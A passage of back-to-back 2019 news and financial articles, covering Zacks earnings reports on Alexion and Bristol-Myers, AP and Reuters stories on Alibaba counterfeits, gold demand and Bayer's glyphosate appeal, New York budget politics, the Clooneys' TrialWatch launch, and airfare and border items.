report, the current status translates into a Zacks Rank #4 (Sell) for the stock. So, the shares are expected to underperform the market in the near future. You can see the complete list of today's Zacks #1 Rank (Strong Buy) stocks here. It will be interesting to see how estimates for the coming quarters and current fiscal year change in the days ahead. The current consensus EPS estimate is $2.16 on $2.31 billion in revenues for the coming quarter and $6.05 on $8.71 billion in revenues for the current fiscal year. Investors should be mindful of the fact that the outlook for the industry can have a material impact on the performance of the stock as well. In terms of the Zacks Industry Rank, Transportation - Airline is currently in the bottom 40% of the 250 plus Zacks industries. Our research shows that the top 50% of the Zacks-ranked industries outperform the bottom 50% by a factor of more than 2 to 1. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Alaska Air Group, Inc. (ALK) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Alexion Pharmaceuticals, Inc. ALXN posted first-quarter 2019 adjusted earnings of $2.39 per share, which increased 42.3% from the year-ago quarters $1.68. Earnings also beat the Zacks Consensus Estimate of $2.19. Strong product revenues drove the bottom line in the quarter. Revenues rose 22.6% year over year to $1.140 billion and exceeded the Zacks Consensus Estimate of $1.112 billion. Revenues were driven by increased sales of Soliris, Strensiq and Kanuma. Alexions shares have increased 22.7% in the past year against the industrys decline of 12.4%. Revenues in Detail Soliris (paroxysmal nocturnal hemoglobinuria [PNH] and atypical hemolytic uremic syndrome [aHUS]) sales were up 20% to $962 million in the reported quarter, driven by strong volume growth. While Strensiq (hypophosphatasia [HPP]) revenues were $130.1 million (up 18% year over year), Kanuma (lysosomal acid lipase deficiency [LAL-D]) contributed $23.5 million (up 20%) to quarterly revenues. Cost Summary Adjusted research and development (R&D) expenses were $159.4 million, down 1.4% year over year. Adjusted selling, general and administrative (SG&A) expenses were $243.7 million, up 10.6% year over year. 2019 Guidance Alexion raised its revenue and earnings guidance for 2019. The company expects earnings per share to be $9.25-$9.45, up from the previous guidance of $9.10-$9.30. Alexion projects revenues of$4.68-$4.75 billion, up from the prior outlook of $4.63-$4.70 billion. The Zacks Consensus Estimate for earnings is pegged at $9.31 and for sales at $4.75 billion. Revenues for Soliris and Ultomiris are expected to be $4.02-$4.07 billion, up from $3.97-$4.02 billion guided previously. Pipeline Update In February 2019, the FDA grantedpriority review to Soliris in Neuromyelitis Optica Spectrum Disorder (NMOSD)indication and set an action date of Jun 28, 2019. Alexion has submitted applications in the European Union (EU) and Japan. Soliris has been granted Orphan Drug priority review in Japan. Story continues In December 2018, the FDA approved Ultomiris for adults with Paroxysmal Nocturnal Hemoglobinuria (PNH). The company strongly launched the drug in the United States for the same indication. Applications for approval in the EU and Japan are currently under review. A phase III study of Ultomiris in children and adolescents with PNH is currently underway. In April 2019, Alexion submitted an application in the United States for the approval of Ultomiris in patients with Atypical Hemolytic Uremic Syndrome (aHUS). The company plans to file for regulatory approval in the EU and Japan in 2019. Further, a phase III study of Ultomiris in adolescents and children with aHUS is underway. In the first quarter of 2019, Alexion initiated a phase III study of the drug in generalized Myasthenia Gravis (gMG). Also, the company plans to initiate a phase III study of the drug in NMOSD by the end of 2019. Moreover, Alexion plans to initiate a proof-of-concept study for Ultomiris in Amyotrophic Lateral Sclerosis (ALS) and an exploratory clinical studyin Primary Progressive Multiple Sclerosis (PPMS). The company is enrolling and dosing a phase III study of ALXN1840 (WTX101) in Wilson disease, a rare genetic disorder with devastating hepatic and neurological consequences. Alexion topped earnings and sales estimates in the first quarter of 2019. We expect Soliris to continue driving growth. In the meantime, other new products Strensiq and Kanuma are doing well and likely to boost revenues. The company also launched Ultomiris in the United States for the treatment of PNH. The FDA set an action date of Jun 28, 2019 for Soliris for the treatment of NMOSD and granted priority review to the same. A potential approval will boost sales for the company. Alexion Pharmaceuticals, Inc. Price, Consensus and EPS Surprise Alexion Pharmaceuticals, Inc. Price, Consensus and EPS Surprise | Alexion Pharmaceuticals, Inc. Quote Zacks Rank & Stocks to Consider Alexion currently is a Zacks Rank #3 (Hold) stock. Some better-ranked stocks worth considering are Ani Pharmaceuticals, Inc. ANIP Celsion Corporation CLSN and Arcus Biossciences Inc. RCUS. All of them carry a Zacks Rank #1 (Strong Buy). You can see the complete list of todays Zacks #1 Rank stocks here. Ani Pharmaceuticals earnings per share estimates have increased from $5.90 to $5.97 for 2019 and from $6.58 to $6.62 for 2020 in the past 60 days. The company delivered a positive earnings surprise in three of the trailing four quarters, with average beat of 2.30%. Celsion loss per share estimates have narrowed from 94 cents to 78 cents for both 2019 and 2020 in the past 60 days. Arcus Biosciences loss per share estimates have narrowed from $1.93 to $1.67 for 2019 and from $2.06 to $1.84 for 2020 in the past 60 days. Radical New Technology Creates $12.3 Trillion Opportunity Imagine buying Microsoft stock in the early days of personal computers or Motorola after it released the worlds first cell phone. These technologies changed our lives and created massive profits for investors. Today, were on the brink of the next quantum leap in technology. 7 innovative companies are leading this 4th Industrial Revolution - and early investors stand to earn the biggest profits. See the 7 breakthrough stocks now>> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report ANI Pharmaceuticals, Inc. (ANIP) : Free Stock Analysis Report Alexion Pharmaceuticals, Inc. (ALXN) : Free Stock Analysis Report Celsion Corporation (CLSN) : Free Stock Analysis Report Arcus Biosciences, Inc. (RCUS) : Free Stock Analysis Report To read this article on Zacks.com click here. FILE - In this Nov. 11, 2018, file photo, Daniel Zhang, CEO of Alibaba Group speaks to journalists during Alibaba's 11.11 Global Shopping Festival also known as Singles Day in Shanghai, China. Chinese e-commerce giant Alibaba Group remains on the U.S. governments annual list of notorious markets that peddle counterfeit products. (AP Photo/Ng Han Guan, File) WASHINGTON (AP) Chinese e-commerce giant Alibaba Group remains on the U.S. government's annual list of "notorious markets" that peddle counterfeit products. The Office of the U.S. Trade Representative said Thursday that Alibaba's on-line marketplace Taobao.com continues sell "high volumes" of pirated goods, according to companies that say they've been victimized. It also said that Alibaba has "ineffective" procedures for removing counterfeit products. In a statement, Alibaba said that "we do not agree" with the trade representative's decision. Alibaba noted that even the U.S. report recognized Alibaba's efforts to work with companies to protect intellectual property. "We will continue to wage this fight against counterfeiters," the company said. The trade office also added Saudi Arabia to its yearly "priority watchlist" of countries that don't adequately protect intellectual property, citing its failure to shield pharmaceuticals from counterfeit competition and the continued piracy of movies and television shows on the BeoutQ service. Also on the priority list this year are Algeria, Argentina, Chile, China, India, Indonesia, Kuwait, Russia, Ukraine and Venezuela. Canada and Colombia this year were removed from the blacklist. Canada agreed last year to upgrade intellectual property protection as part of a renegotiated North America free trade agreement with the United States and Canada. Colombia updated its copyright law and improved intellectual property protection. China, including its autonomous region Hong Kong, continues to account for vast majority of seizes of counterfeit goods by U.S. Customs, the trade office noted. The watchlist and notorious markets blacklist are published annually and are not directly connected to a yearlong trade dispute between the United States and China. The world's two biggest economies have slapped import taxes on $360 billion worth of each other's goods. They are fighting over U.S. allegations that China steals trade secrets, coerces U.S. and other foreign firms to hand over sensitive technology and unfairly subsidizes its own tech companies in an aggressive push to supplant U.S. technological dominance. Talks to end the dispute are scheduled to resume next week in Beijing. Thirty-six years ago, Mario Cuomo had just wrestled with his first budget as governor. It had been a difficult exercise for the idealistic new executive, negotiating against seasoned leaders in a legislature that was divided by party. One late night, when the budget was enacted, Cuomo showed up uninvited at the chambers of the Democrat-controlled State Assembly. The speaker, Stanley Fink, asked him to say a few words. I gave you a budget, Cuomo said. You gave me back a better one. The chamber burst into applause. Richard Brodsky, a former state Assemblyman, tells this story to illustrate a point: the way budgeting is done in Albany today is very different than the way it was done three decades ago. And he hates that. Its worthy of Vladmir Putin and the Saudi government, says Brodsky, a Democrat. Its absurd and bad and at the heart of Albany dysfunction. Few people understand just how relevant Albanys opaque budgeting process is to the functioning of their everyday lives. Every March, the governor and the legislative leaders of each chamber negotiate a titanic state budget, now accounting for $175 billion in spending. Funding levels determine the quality of schools, transportation, the environment, roadways, and just about every other entity, large and small, throughout the state. Unrelated policy mattersthis year it was a ban on plastic bags and congestion pricing, for exampleare often rammed into the budget as well. The leverage undoubtedly lies with the executive branch, which is now controlled by Marios son, Andrew. Andrew Cuomo is at his most dominant during budget negotiations because New Yorks Constitution and subsequent court rulings allow him to be: once Cuomo introduces his version of the budget, legislators can only strike out or reduce spending items. Adding items of their own is very difficult. Additional spending items must be set aside separately and are subject to the governors veto. (The legislature has never overridden a Cuomo veto.) This makes Cuomos proposed budget much more of the final word than either of the one-house budgets offered by the Senate or Assembly. Cuomo has more effectively consolidated and wielded power in Albany than any recent governor, including his father, and the budget, which he rushes to pass by the start of the fiscal year on April 1st, remains a key source of his clout. Brian Barnwell, a Queens Assemblymember, hopes to change that. Barnwell is proposing a constitutional amendment that would make budgeting much more like the legislative process, when lawmakers and the governor function more as co-equal branches of government. Every year it gets more frustrating, Barnwell, a Democrat, said of budget negotiations. Enough is enough. Barnwells amendment would allow the Assembly and Senate to alter Cuomos proposed budget items and strip him of his veto power. The legislature would have the power of addition, not just subtraction. So far, its difficult to gauge how much support the amendment will have in either chamber. Barnwell says he has a handful of co-sponsors but no bill number yet. Senate and Assembly leaders havent formally weighed in. This is not the first time the state legislature has attempted to gain more leverage during budget negotiations. Sheldon Silver, who was the longtime speaker of the Assembly before his conviction on corruption charges, challenged Republican Governor George Pataki in court. The Court of Appeals, the states highest court, ruled in Patakis favor in 2004, cementing the executive branchs ability to control the budgeting process. A 2005 referendum to weaken the governors role in budget negotiations was shot down by voters. This has emboldened Cuomos office to dismiss Barnwells proposed amendment. Were proud of the nine balanced and fiscally responsible budgets that were passed under this administration and the last time anyone tried to change the current system it went down in flames when New Yorkers rejected it by an embarrassing 2 to 1 margin, said Rich Azzopardi, a Cuomo spokesman. Cuomo has been far more willing to inject unrelated policy matters into the budget than his predecessors. The tacticplacing both unremarkable and controversial items into appropriation billsforces legislators to choose between accepting his proposals and striking down large portions of budget funding. This year, headline-grabbing policies like congestion pricing, a reduction of cash bail and discovery reform, a statewide plastic bag ban, and a permanent property tax cap were passed in the budget. Though many of these were cheered by progressives and reformers, both Brodsky and Barnwell argue policy items unrelated to spendingeven if they agree with themshould not be rolled into the state budget. Sooner or later, in this state, we are going to elect a Carl Paladino governor, said Brodsky, referring to the incendiary Donald Trump-supporting Republican who ran against Cuomo in 2010. When that governor puts an end to reproductive freedom in the budget, when that governor replaces environmental laws in the budget, when that governor reinstates the death penalty in the budget, you will hear the same outrage from people today its shameful progressives are ignoring the heart of the democratic process. Albanys approach to budgeting has long been decried in good government circles. New York States fiscal year is atypical; most states and municipalities, including New York City, kick off the fiscal year on July 1st , not April 1st. With an earlier deadline, the executive branch and the legislature take far less time to negotiate a much larger budget, leading to the so-called big ugly, when lawmakers vote on thousands of pages of bills theyve barely read in the dead night. Not all of this would require a constitutional amendment to fix. Cuomo and lawmakers, for example, could agree to move New Yorks fiscal deadline to the end of June, giving everyone more time to hash out a budget. While Barnwells proposal to equalize the budgeting process in Albany has tentative support from the New York Public Interest Group (NYPIRG), a leading good government organization, and has been quietly well-received in a Democrat-controlled State Senate more willing to clash with Cuomo, not all Albany observers are on board. Alex Camarda, senior policy advisor at Reinvent Albany, another top good government group, called the constitutional amendment a distraction. The position of the executive in New York State has tremendous power in the context of the budget. At the same time, if they use it, the legislature has the upper hand outside the budget, Camarda said. Camarda expressed frustration that the Assembly and Senate failed to pressure Cuomo to pass far less controversial policy items in the budget, including reestablishing the state comptrollers audit authority over state contracts. They didnt push the governor much and this is something he conceptually supported. The notion that theyre going to change the constitution and declare war just seems unlikely, Camarda said. The good news for Barnwell and supporters of a constitutional amendment is that Cuomo is not required to sign an amendment into law. An amendment must pass two recently-elected state legislatures (in this case, the 2019 and 2021 sessions) before a statewide referendum is put to voters the following year (2022). Cuomo cannot veto an amendment. Outside of Cuomo, the most notable skeptic of Barnwells push might be E.J. McMahon, the research director for the right-leaning Empire Center for Public Policy. McMahon noted the agenda-setting power of the executive over the budget process dates back to Al Smith, the reform Democrat governor of the 1920s, and was enacted to control a legislature in the thrall of powerful party bosses. The legislatures frustration is understandable. However, the desire to amend the constitution is misplaced, McMahon argued, adding that he believed an executive budget allowed for more fiscal restraint. Rather than amend the state constitution, McMahon suggested lawmakers stop bargaining on Cuomos terms: resist the urge to put policy in the budget, fight to move the fiscal deadline back, shoot down Cuomos spending items, and force him to come to the table with something they like. Like Camarda, he said lawmakers should flex their muscles beyond the budget. They choose to treat [Cuomos] budget deadline as real and play his game, McMahon said. If youre going to play his game, you will lose. Amal and George Clooney announce the TrialWatch project at Columbia Law School on April 25, 2019. Saying that corrupt governments across the world are increasingly using their courtrooms to abuse citizens and silence dissidents, Amal and George Clooney on Wednesday announced from a Columbia Law School stage a new global initiative aimed at monitoring trials, exposing abuses and rallying support for the victims. Called TrialWatch, the Clooneys made clear that their project is ambitious. While tapping the resources of various project partners, including Microsoft, Columbia Law and the American Bar Association, they say they will fan out trained lawyer and non-lawyer monitors to courtrooms worldwideincluding to remote corners of the globewhere it is believed that the risk runs high for sham and corrupt trials. TrialWatch aims to be the first comprehensive global program scrutinizing criminal trials, stated the Clooney Foundation for Justice, through which the program is being run, in a news release that accompanied a 70-minute launch event held in a Columbia Law lecture hall Wednesday. The project will focus on trials involving journalists, LGBTQ persons, women and girls, religious minorities, and human rights defenders, the news release also said, highlighting groups that the Clooneys and others say are often targeted in proceedings. As they walked onto the stage Wednesday, the Clooneys came armed with a raft of examples of judicial system abuses from recent years, including firsthand stories involving clients of Amal Clooney, a human rights lawyer. Speaking into a microphone from behind a lectern, George Clooney, the actor and activist, said that in a large number of countries, women can be prosecuted for adultery or for acts not compatible with chastity. He went on: In El Salvador, a woman was sentenced to 30 years in prison for the crime of abortion, even though shed had a miscarriage, he said. In some 14 countries, a person can be executed for being gay or having same-sex relations. In Iran, he said, a 31-year-old man was publicly hanged for committing the act of sodomy. In some countries, a person can be put to death for blasphemy. And he noted that journalists, seen by some authoritarian governments as dissidents, were often some of those facing the most risk. In a video about TrialWatch that was soon shown to the packed Columbia audience, it was stated that more than 250 journalists worldwide sat in jails in 2018one of the highest totals in three decades. From the same lectern, Amal Clooney spoke of clients such as an Al Jeezera journalist in Egypt confronted with fake news charges, and another journalist in a different country accused of absurd financial crimes after she put out journalism that angered the government. We need extensive monitoring, hard data and committed advocacy for this to change, Amal Clooney soon said of judicial system abuses, her voice rising for emphasis. Later, she noted that for years she had considered the idea of having monitors in corrupt courtrooms, and believed that various organizations may be the right fit for tackling the project. Then more recently, she simply decided that her and George Clooneys justice organization, begun in 2016, would take it on. The Clooneys' thesis, as expressed by Amal Wednesday, is that too often we measure corruption by governments, but not courts, even though many autocratic, authoritarian and other governments use judges and courts as a tool for silencing, abusing and scaring citizens. At the moment, its incredibly easy for governments to get away with this, she said from the large stage, and they are using trials as a cover to lock away or murder their critics and the vulnerable. They dont just throw them in jail, she said, they use the courts. The event itself featured the video, talks given by the Clooneys, and a panel discussion led by New York Times columnist Nicholas Kristof that included the Clooneys, ABA president Bob Carlson, Microsoft president Brad Smith, Columbia University president Lee Bollinger and Zeid Ra'ad al-Hussein, a former United Nations high commissioner for human rights. Each of the represented organizations have partnered with the Clooneys on TrialWatch. As Kristof kicked off the discussion, he asked about whether the initiative could be effective in slowing down or stopping authoritarian leaders from using the courts to control and abuse those whom they targeted. A journalist long focused on human rights, he was skeptical, he said, based on what he had often found in years of reporting on authoritarian leaders and governments. Much of the ensuing discussion in turn focused on how TrialWatch intended to effect change by shining a light on corrupt trials and then publicly pressuring governments, judges, officials, banks and other businesses that are complicit in supporting the abusive regimes. Answering Kristof, George Clooney pointed out that perhaps one cant shame a corrupt government or leader but you can shame good people who are complicit. You can shame banks, he said, sitting on a chair among the panel, several of them leaning forward and waiting to speak. Other panelists said that when sanctions are placed on countries by other governments, it can be effectivealthough they said such sanctions are not used enough. Later, Amal Clooney spoke of individualized sanctions, such as targeting a corrupt judge so that he or she is not allowed to travel to objecting countries or to open a bank account outside of his or her own nation. At another juncture, Amal Clooney thanked Brad Smith, Microsoft's president, for the companys partnership in the project. Then she explained and touted the TrialWatch app that had been created by more than 20 Microsoft engineers, some working on it full time. It has a user-interface to guide a monitor on what he or she needs to do while inside the courtroomsuch as asking the right questions, getting data and documents, and getting information uploaded into the cloud quickly, she said. From there, legal experts will assess the trial against human rights standards and produce a fairness report, she said. Next, where necessary and possible, the report will be followed up with legal advocacy to assist a defendant in pursuing remedies in regional or international human rights courts, according to the Clooney Foundation news release. The release also said that ultimately, the data that is gathered will populate a global justice index that measures states' performance in this area. The app will allow local language inputs and use AI Cognitive Services technologies to transcribe and translate content into English." Near the event's close, as a crowd of Columbia Law students, professors and others looked on intently, al-Hussein, the former U.N. high commissioner for human rights, talked about how he believed a trial is a window into the soul of a country. It tells others about how a country treats its own people, he explained. "A trial is not here simply to prosecute the guilty, a trial is there to defend the innocent," he said. And then he complained that too often leaders in countries with fair justice systems fail to speak out about the many abuses that happen elsewhere. TrialWatch is an effort to get them to be a little more courageous, al-Hussein said, adding that when vulnerable people are attacked by sham legal processes it shouldnt just be the people on this stage and the people in this forum who decide to act. A salesman shows gold bangles to customer inside a jewellery showroom on the occasion of Akshaya Tritiya, a major gold buying festival, in Kochi, India April 18, 2018. REUTERS/Sivaram V By Rajendra Jadhav and Swati Verma BENGALURU/MUMBAI (Reuters) - Physical gold demand was healthy this week in India in the run up to a key festival and with the wedding season underway, while other top Asian hubs saw steady interest in bullion as global prices recovered from a 2019 low touched earlier this week. Gold is an essential part of weddings in India and is a popular gift during festivals. "Retail demand is good due to weddings. Even after a recent price rise, buyers are making purchases," said Chanda Venkatesh, managing director of CapsGold, a bullion merchant based in the southern city of Hyderabad. In India, dealers charged a premium of up to $2 an ounce over official domestic prices, down from last week's premium of $2.50, the highest in nearly five months. The domestic price includes a 10 percent import tax and 3 percent sales tax. "Supplies are limited in the market. Smuggling has come down significantly in last few weeks," said a Mumbai-based bullion dealer with a gold importing bank. Jewellers were making purchases for the Akshaya Tritiya festival on May 7, the dealer added. India's gold smugglers have slowed their operations over worries their shipments will be caught up in seizures of cash, bullion, booze and drugs aimed at controlling vote-buying in the country's national elections. In top bullion consumer China, premiums eased to $14-$18 an ounce over the benchmark, from a two-year high of $20, a level last seen in March 2017, last week and the start of this week. Benchmark spot gold on Tuesday dropped to its lowest since end-December, but has since recovered more than one percent to hit its highest in more than a week at $1,282.98 on Friday. "Recent increases in the Shanghai gold premium signals that the Chinese are using lower prices as a buying opportunity," Goldman Sachs said in a note on Thursday. Some analysts also attributed the recent surge in China's gold premiums to a reduced supply of the metal. Story continues The comparatively lower prices this week supported demand in other Asian centres as well, with premiums in Singapore rising to about $1 an ounce from last week's 60-70 cents range. "We did see more sales with the correction of prices. Speaking with customers, many see prices under $1,300 as a buying opportunity," said Gregor Gregersen, CEO of Singapore retailer Silver Bullion Pte Ltd. Purchases in Japan peaked earlier this week before local gold prices bounced back from nearly three-month lows, a Tokyo-based trader said. Demand is now expected to fall further as the country's 10-day Golden Week holiday starts this weekend. In Hong Kong, premiums were mostly unchanged at 60 cents-$1.20. (Graphic: India's gold market: http://tmsnrt.rs/2b1Tl6J) (Reporting by Rajendra Jadhav in Mumbai, Arijit Bose and Diti Pujara in Bengaluru; editing by Arpan Varghese and David Evans) By Brendan Pierson (Reuters) - Bayer AG on Wednesday asked a California appellate court to throw out a $78 million judgment it was ordered to pay to a school groundskeeper who claimed the company's weed killers gave him cancer. In a filing in California's Court of Appeal, First Appellate District, the company said that there was "no evidence" that glyphosate, a chemical found in the company's Roundup and Ranger Pro products, could cause cancer. "Bayer stands behind these products and will continue to vigorously defend them," the company said in a news release. The widely-used weed killers are made by Monsanto, which Bayer acquired last year for $63 billion. The company said that if the court did not rule in its favor, it should at least order a new trial, arguing that a lower court judge had improperly prevented jurors from hearing evidence that the U.S. Environmental Protection Agency and foreign regulators had deemed glyphosate not likely carcinogenic to humans. A lawyer for the groundskeeper, Dewayne Johnson, could not immediately be reached for comment. Johnson sued Monsanto in 2016. In August 2018, following a trial in the Superior Court of California in San Francisco, a jury awarded him $39 million in compensatory damages and $250 million in punitive damages, a total of $289 million. The verdict, which marked the first such decision against Monsanto, wiped 10 percent off Bayer's value, and shares have since dropped nearly 30 percent from their pre-verdict value. Judge Suzanne Bolanos, who oversaw the trial, then issued a tentative opinion saying she planned to strike the entire punitive damages award because there was no evidence Monsanto acted with malice. Following a hearing last October, she instead cut the award to $39 million, for a total judgment of $78 million. In another brief filed with the appeals court on Wednesday, Bayer said that decision came after newspaper articles and emails from five jurors in the case meant to "pressure" Bolanos to uphold the punitive damages award. Story continues Bayer, which faces more than 11,000 U.S. lawsuits over glyphosate, says decades of scientific studies and real-world use have shown glyphosate to be safe for human use. While the EPA and regulators from several other countries have said glyphosate was not likely to cause cancer, the cancer unit of the World Health Organization in 2015 classified glyphosate as "probably carcinogenic to humans." (Reporting By Brendan Pierson in New York; Editing by Bill Berkrot) Adventure_Photo/iStock(WASHINGTON) -- President Donald Trump signed an executive order late Wednesday officially making the U.S. military responsible for virtually all security background checks for millions of federal workers, the latest step by the administration to tackle a daunting backlog of security clearance cases. The order calls for the National Background Investigations Bureau, currently under the civilian Office of Personnel Management, to be absorbed by the Department of Defense under a reorganized, and renamed, Defense Counterintelligence and Security Agency. Though Congress mandated in the 2018 National Defense Authorization Act that a majority of the investigative bureau's caseload be transferred to the Defense Department in phases, Wednesdays order lifts the entire bureau -- and the 95 percent of all federal background checks it processes -- and places it all under military authority. A senior administration official told ABC News the bigger move would be more efficient and effective than bifurcat[ing] the background check system between two departments. In June 2018 the Trump administration identified the security clearance process as one of many targets for drastic government reform. The Administration recognizes that background investigations are critical to enabling national security missions and ensuring public trust in the workforce across the Government, a White House report said at the time. The report noted that the background investigation inventory the cases to be processed had risen to three-quarters of a million and that the average Top Secret background investigation takes four times as long as it should. In congressional testimony in March 2018 National Background Investigations Bureau Director Charles Phalen partially blamed much of the then-ballooning backlog on the 2014 cancellation of a federal contract that stripped the bureau of more than half its investigative force and "increased demand" by the bureau's government customers. This is an unsustainable way to do business, the White House report said. The report argued the military is better positioned to handle the massive caseload and already conducts security clearance evaluations for several agencies. On Wednesday Phalen told a security conference the backlog has since been reduced by 32 percent, to just under 500,000 cases. The numbers are still not where they need to be, but weve moved that needle significantly, Phalen told a security conference, according to a Defense One report. Weve improved wait times 50 percent to 60 percent in many categories, but have some outliers that skew the average. The large-scale transfer to the military is happening in the background of a security clearance controversy in the White House, where a whistleblower alleges more than two dozen officials, reportedly including Jared Kushner, received high-level clearances over the objections of career security specialists. Copyright 2019, ABC Radio. All rights reserved. A woman was seriously injured after getting struck by a cyclist who blew through a red light on Thursday, police said. [UPDATE: The victim has succumbed to her injuries; read our update here.] The pedestrian was in a crosswalk at West 57th Street between Fifth and Sixth Avenues at around 1:30 p.m. when she was hit by the cyclist, according to authorities. She was rushed to New York-Presbyterian/Weill Cornell Medical Center with a fractured skull and bleeding in the brain. The woman has been identified by CBS 2 as 67-year-old Donna Sturm. Her husband told the outlet she is now in serious but stable condition. The cyclist has been identified in multiple reports as 40-year-old Damian Deward. He remained on the scene, police said, and declined medical attention. Although it was reported that Deward was given a ticket for a red light violation, an NYPD spokesperson told Gothamist this morning that he was not issued a citation or charged. Deward also told cops that his gears and brakes were not working properly, according to a police source who spoke with the Post. Early reports from the Daily News indicate he lived in a Brooklyn homeless shelter. The NYPD is now cracking down on cyclists in the area, CBS reports. In a statement to the outlet, Sturm's employer wrote: All of us who live or work in New York City do so at our peril because of bike riders speeding through intersections and often going against traffic on one-way streets. Bicycles should have a license plate to create accountability for the riders. We pray that Donna will fully recover from this tragedy." A pedestrian has not been killed by a cyclist in New York City since 2017, when Shun Kwong Leung was struck by a cyclist on Essex Street running a red light. Leung later died of his injuries, and the Manhattan DA declined to prosecute the case. Of the 754 pedestrians killed on city streets in the half decade before that, just two deaths were caused by cyclists. Meanwhile, fatalities on New York City streets are up nearly 40 percent this year over 2018, which saw drivers fatally strike 115 pedestrians and ten cyclists. The NYPD says 64 people have died from traffic collisions so far this year, up from 43 during the same time period in 2018. Airline prices for the upcoming summer travel season are set to get a little bump due to the widespread grounding of Boeing 737 Max jets after two fatal crashes, a travel expert warns. Liana Corwin, a consumer travel expert, predicts some flights will go up in cost as a result. In very specific cases, such as Southwest suspending service from Pittsburgh to Los Angeles, prices may go up due to decreased overall capacity and lack of competition on certain routes. It is unlikely that airlines will cut capacity on routes that are popular and performing, Corwin told FOX Business. Boeings 737 Max aircraft was grounded worldwide in March following two fatal crashes less than five months apart. A preliminary report found similarities between the accidents that killed more than 300 people in Ethiopia and Indonesia. Earlier this month, American Airlines said it will extend cancellations for its MAX jets through mid-August, while Southwest Airlines, which has the biggest fleet of 737 Max jets, has pulled the plane until Aug. 5. An average of 275 flights per day will be cut as a result. However, given the multitude of factors that go into determining the cost of airfare, Corwin believes oil prices and competitive pressures will still be the biggest factors driving up costs this summer. Growth in capacity for U.S. major and low-cost carriers comes despite the temporary grounding of 737 Max planes, she said. Although the grounding of these planes has impacted specific carrier capacity, overall domestic capacity remains higher in May 2019 than in the previous year. Corwin added that with all of these factors, it is even more critical to book sooner rather than later this year, if you are planning a summer getaway. CLICK HERE TO GET THE FOX BUSINESS APP Here are her four top summer travel tips. 1. Book Sooner Rather Than Later - Airfares are on the rise. This month, we project a 6.8 percent increase in domestic round-trip flight prices to $236 in line with expectations due to typical seasonal demand. Prices will continue to rise through June, then begin to fall from July through October. As a general rule of thumb, its always better to start tracking prices early in order to get a good deal. Story continues 2. Look for Deals at the Beginning of the Week - By a very slight margin, you're more likely to find savings toward the beginning of the week; prices are primarily regulated by very complex revenue management software, but it's toward the beginning of the week that the humans step in to push sales in a certain direction, which is when you'll see things like flash sales start to take place. 3. Dont Forget to Book In Advance for Hotels Too - For hotels, waiting until the last minute will not always yield the best deal. In fact, hotels want to book their rooms further in advance, so they often offer incentivized pricing for folks who book 21-plus days in advance; also, consider newly opened hotels, which often discount their prices for the first three months of operation 4. Be Flexible with Dates - With the exception of flights to the Caribbean (which has a 6 percent premium for Saturday night stays), all other destinations have a discount with a Saturday night stay. Want to get the most savings? Head to Europe -- the average discount is almost 40 percent for including a Saturday night stay. Domestic flights and international flights to Canada, Oceania, Mexico and Central America offer savings of less than 3 percent. Related Articles There are few more polarizing issues in American politics than the migrant crisis occurring at the southern border of the United States. Customs and Border Patrol is currently dealing with a record surge of legal and illegal crossings as caravans of thousands of South Americans makes its way from the southern parts of Mexico to the boundaries of Texas, Arizona, New Mexico and California. Texas Attorney General Ken Paxton told FOX Business Trish Regan that the situation at the southern border is worsening by the minute. This is the worst I've seen it in over a decade that I've been going to the border, the numbers are huge, he said on Wednesday. We have 65 percent of the border so those cost and those effects, human trafficking and smuggling, those are all on Texans. President Trump has sent thousands of military troops to the border as he tries to stem the flow of migrants into America. As of March 2019 there were 4,350 active duty military personnel and 2,200 National Guard deployed to the southern border. The president has now turned his criticism toward the Mexican government saying in a tweet that Mexico isn't doing their part to secure the shared border with the U.S. and that more soldiers will be deployed to the region. CLICK HERE TO GET THE FOX BUSINESS APP Paxton said as the law continues to provide incentives for illegal crossings, more and more bad actors will continue to take advantage of those fleeing a region filled with poverty. I know people, I have talked with families who lost their sisters and brothers and sons and daughters, and I have talked to people who have been affected by human trafficking, it is devastating, he said on Trish Regan Primetime. There are hundreds of thousands of cases of human trafficking in my state and others that have a devastating impact on lives of so many young people. Related Articles MarketWatch See: Im a 35-year-old father of four with $135,000 saved for retirement. Retirement can be an emotional time, usually for individuals leaving the workforce who have felt their careers defined much of who they are, but sometimes also for the retiring persons family. Your wife may have a lot of feelings associated with your retirement, and its important to keep her in the loop every step of the way, as you seem to have done so far. Bristol-Myers Squibb Companys BMY reported better-than-expected results for the first quarter of 2019 on the stellar performance of its blood thinner drug, Eliquis. First-quarter 2019 earnings of $1.10 per share beat the Zacks Consensus Estimate by a penny and surpassed the year-ago quarters earnings of 94 cents. Total revenues of $5.92 billion surpassed the Zacks Consensus Estimate of $5.80 billion and increased 14% from $5.2 billion recorded in the year-ago period. Continued strong sales of Opdivo and Eliquis contributed to the top line in the reported quarter. Shares are up in pre-market trading on better-than-expected results for the first quarter. However, Bristol-Myers shares have decreased 9.3% in the past six months compared with the industrys decline of 1.0%. Quarterly Details Revenues were up 18% year over year, when adjusted for foreign exchange impact. Revenues increased 24% to $3.4 billion in the United States and 2% outside the country. Ex-U.S. revenues were up 10%, when adjusted for foreign exchange impact. Eliquis witnessed strong growth and became the top revenue generator for the company. Sales of the drug rose 28% to $1.92 billion. We note that Bristol-Myers has a collaboration agreement with Pfizer PFE for Eliquis. Opdivo, which is approved for multiple cancer indications, continued its impressive performance, with sales up 19% year over year to $1.8 billion. Sales of Opdivo and Eliquis rose 20% and 36%, respectively, in the United States. Leukemia drug Sprycel raked in sales of $459 million, up 5% year over year. Sales of rheumatoid arthritis drug, Orencia, were up 8% to $640 million. Melanoma drug, Yervoy, contributed $384 million to the top line during the reported quarter, up 54% year over year. Multiple myeloma drug Empliciti recorded sales of $83 million, up 51% year over year. However, performance of key drugs in the Virology unit disappointed. Sales of Baraclude declined 37% to $141 million. Sales of other brands (including Sustiva, Reyataz, Daklinza and all other products that have lost exclusivity in major markets) fell 21% year over year to $487 million. Story continues Adjusted research and development (R&D) expenses in the quarter were up 11.1% to $1.30 billion. Adjusted marketing, selling and administrative expenses increased 2.6% to $1 billion. Gross margin was 69% in the quarter compared with 72.8% in the year-ago quarter. The year-ago period results included an inventory charge. Regulatory Update In February 2019, the European Commission approved Sprycel in combination with chemotherapy for the treatment of pediatric patients with newly diagnosed Philadelphia chromosome-positive acute lymphoblastic leukemia. Acquisitions Earlier in the month, more than 75% of shareholders voted in favor of the companys impending acquisition of biotech big wig Celgene Corporation CELG at the Special Meeting of Stockholders. The 